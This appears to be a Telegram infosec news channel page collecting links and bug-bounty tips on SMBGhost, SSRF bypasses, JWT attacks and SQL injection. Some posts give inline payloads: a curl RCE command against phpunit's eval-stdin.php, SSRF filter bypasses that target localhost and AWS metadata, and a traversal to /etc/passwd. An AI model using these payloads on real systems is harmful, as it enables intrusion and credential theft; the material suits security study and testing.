Information Security
@sec_nerd_en
415 subscribers
157 photos
5 videos
9 files
2.28K links
Information Security News

we are @sec_nerd twin brother
Download Telegram
About
Blog
Apps
Platform
Join
Information Security
415 subscribers
Information Security
https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html
Blogspot
"I'll ask your body": SMBGhost pre-auth RCE abusing Direct Memory Access structs
Posted by hugeh0ge, Ricerca Security NOTE: We have decided to make our PoC exclusively available to our customers to avoid abuse by scr...
125 views
Information Security
https://github.com/james0x40/chrome-webrtc-pocs
GitHub
james0x40/chrome-webrtc-pocs
Contribute to james0x40/chrome-webrtc-pocs development by creating an account on GitHub.
126 views
Information Security
Bypassing SSRF Filter using Enclosed Alphanumerics

AWS --> ①⑥⑨.②⑤④.①⑥⑨.②⑤④
133 views
Information Security
https://pentestmag.com/how-i-hacked-into-your-corporate-network-using-your-own-anti-virus-agent/
Pentestmag
How I Hacked Into Your Corporate Network Using Your Own Antivirus Agent - Pentestmag
How I Hacked Into Your Corporate Network Using Your Own Antivirus Agent by Angelo Ruwantha Recently I was busy with …
139 views
Information Security
#bugbountytip If you found /phpunit/ folder than you can try to execute PHP code by typing the following command:
curl --data "<?php echo(pi());" http://example.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
143 views
Information Security
https://github.com/3v4Si0N/RS256-2-HS256
GitHub
GitHub - 3v4Si0N/RS256-2-HS256: JWT Attack to change the algorithm RS256 to HS256
JWT Attack to change the algorithm RS256 to HS256. Contribute to 3v4Si0N/RS256-2-HS256 development by creating an account on GitHub.
157 views
Information Security
https://blog.silentsignal.eu/2020/04/20/uninitialized-memory-disclosures-in-web-applications/
153 views
Information Security
https://www.hackers-arise.com/single-post/2018/12/10/Shodan-Part-2-Finding-Outdated-and-Vulnerable-Systems-Around-the-World
hackers-arise
Shodan, Part 2: Finding Outdated and Vulnerable Systems Around the World
Welcome back my aspiring cyber warriors! In my earlier tutorial, I showed you some of the basics of using Shodan, "the world's most dangerous search engine". In this tutorial, we will expand and extend your knowledge of the capabilities of Shodan to find…
166 views
Information Security
https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html?m=1
Betterhacker
RCE in Hubspot with EL injection in HubL
This is the story of how I was able to get remote code execution on Hubspot 's servers by exploiting a vulnerability in  HubL expression la...
142 views
Information Security
#Sqli #bugbounty

https://t.co/Rg4aZzXGCl
https://t.co/E8pzuztGrs
https://t.co/33rsA6UdcY
https://t.co/cX7uDnrTbw
https://t.co/K5ozYnr9SR
https://t.co/VJrQvjcFq4
https://t.co/qjq65XcPID
https://t.co/cmu9ItaGbp
https://t.co/ynGJv2SRyh

#bugbountytips
Yappare
Tricky Oracle SQL Injection Situation
Recently I learnt few new stuff when solving SQL Injection found during pentest and also bugbounty. One of the new technique that seems new...
150 views
Information Security
https://twitter.com/Naategh_/status/1253264200622882816

#bugbounty #bugbountytips
Twitter
Naategh
The number of zeros in http://127.0.0.1 doesn't matter, So we can use the following payloads to bypass SSRF protection: http://127.1 http://127.000000000000000.001 http://127.000.000.00000000000000001 ... #bugbounty #bugbountytips
137 views
Information Security
https://github.com/rsrdesarrollo/generator-burp-extension
GitHub
GitHub - rsrdesarrollo/generator-burp-extension: Everything you need about Burp Extension Generation
Everything you need about Burp Extension Generation - rsrdesarrollo/generator-burp-extension
137 views
Information Security
https://ahussam.me/Leaking-WordPress-CSRF-Tokens/
133 views
Information Security
https://twitter.com/Yumi_Sec/status/1253620834691887105
Twitter
Yumi
If a web application allow you to upload a .zip file, zip:// is an interesting PHP wrapper to turn a LFI into a RCE. #BugBounty #BugBountyTips #InfoSec
123 views
Information Security
https://twitter.com/Madrobot_/status/1253595339950444545
Twitter
Santhosh
Content Discovery list critical once #1/3 /_session_start_/%0atest /+CSCOU+/../+CSCOE+/files/file_list.json /josso/%5C../web-console /gui/file_viewer.php?encrypt=N&target_folder=utilities&uploaded_filename=../../../../../../../etc/passwd #bugbounty #BugBountyTips…
123 views
Information Security
https://p4fg.github.io/h1_415_2020/
114 views
Information Security
http://abdelgayoom.me/reconnaissance-and-information-gathering/
116 views
Information Security
https://medium.com/@ddigvijay29/reading-local-files-abusing-aws-metadata-services-63cad5bf921e
Medium
Reading Local files & Abusing AWS metadata services
Hello Friends,
106 views
Information Security
https://medium.com/bugbountywriteup/how-i-was-able-to-steal-millions-of-data-and-money-from-a-ticketing-portal-65036cb9f8d2
Medium
How I was able to steal millions of data and money from a Ticketing Portal.
People who aren’t familiar with townscript, it is a ticketing platform for event managers to sell their tickets online operating on 27+…
103 views
Information Security
https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/common.txt
GitHub
SecLists/Discovery/Web-Content/common.txt at master · danielmiessler/SecLists
SecLists is the security tester's companion. It's a collection of multiple types of lists used during security assessments, collected in one place. List types include usernames, pas...
103 views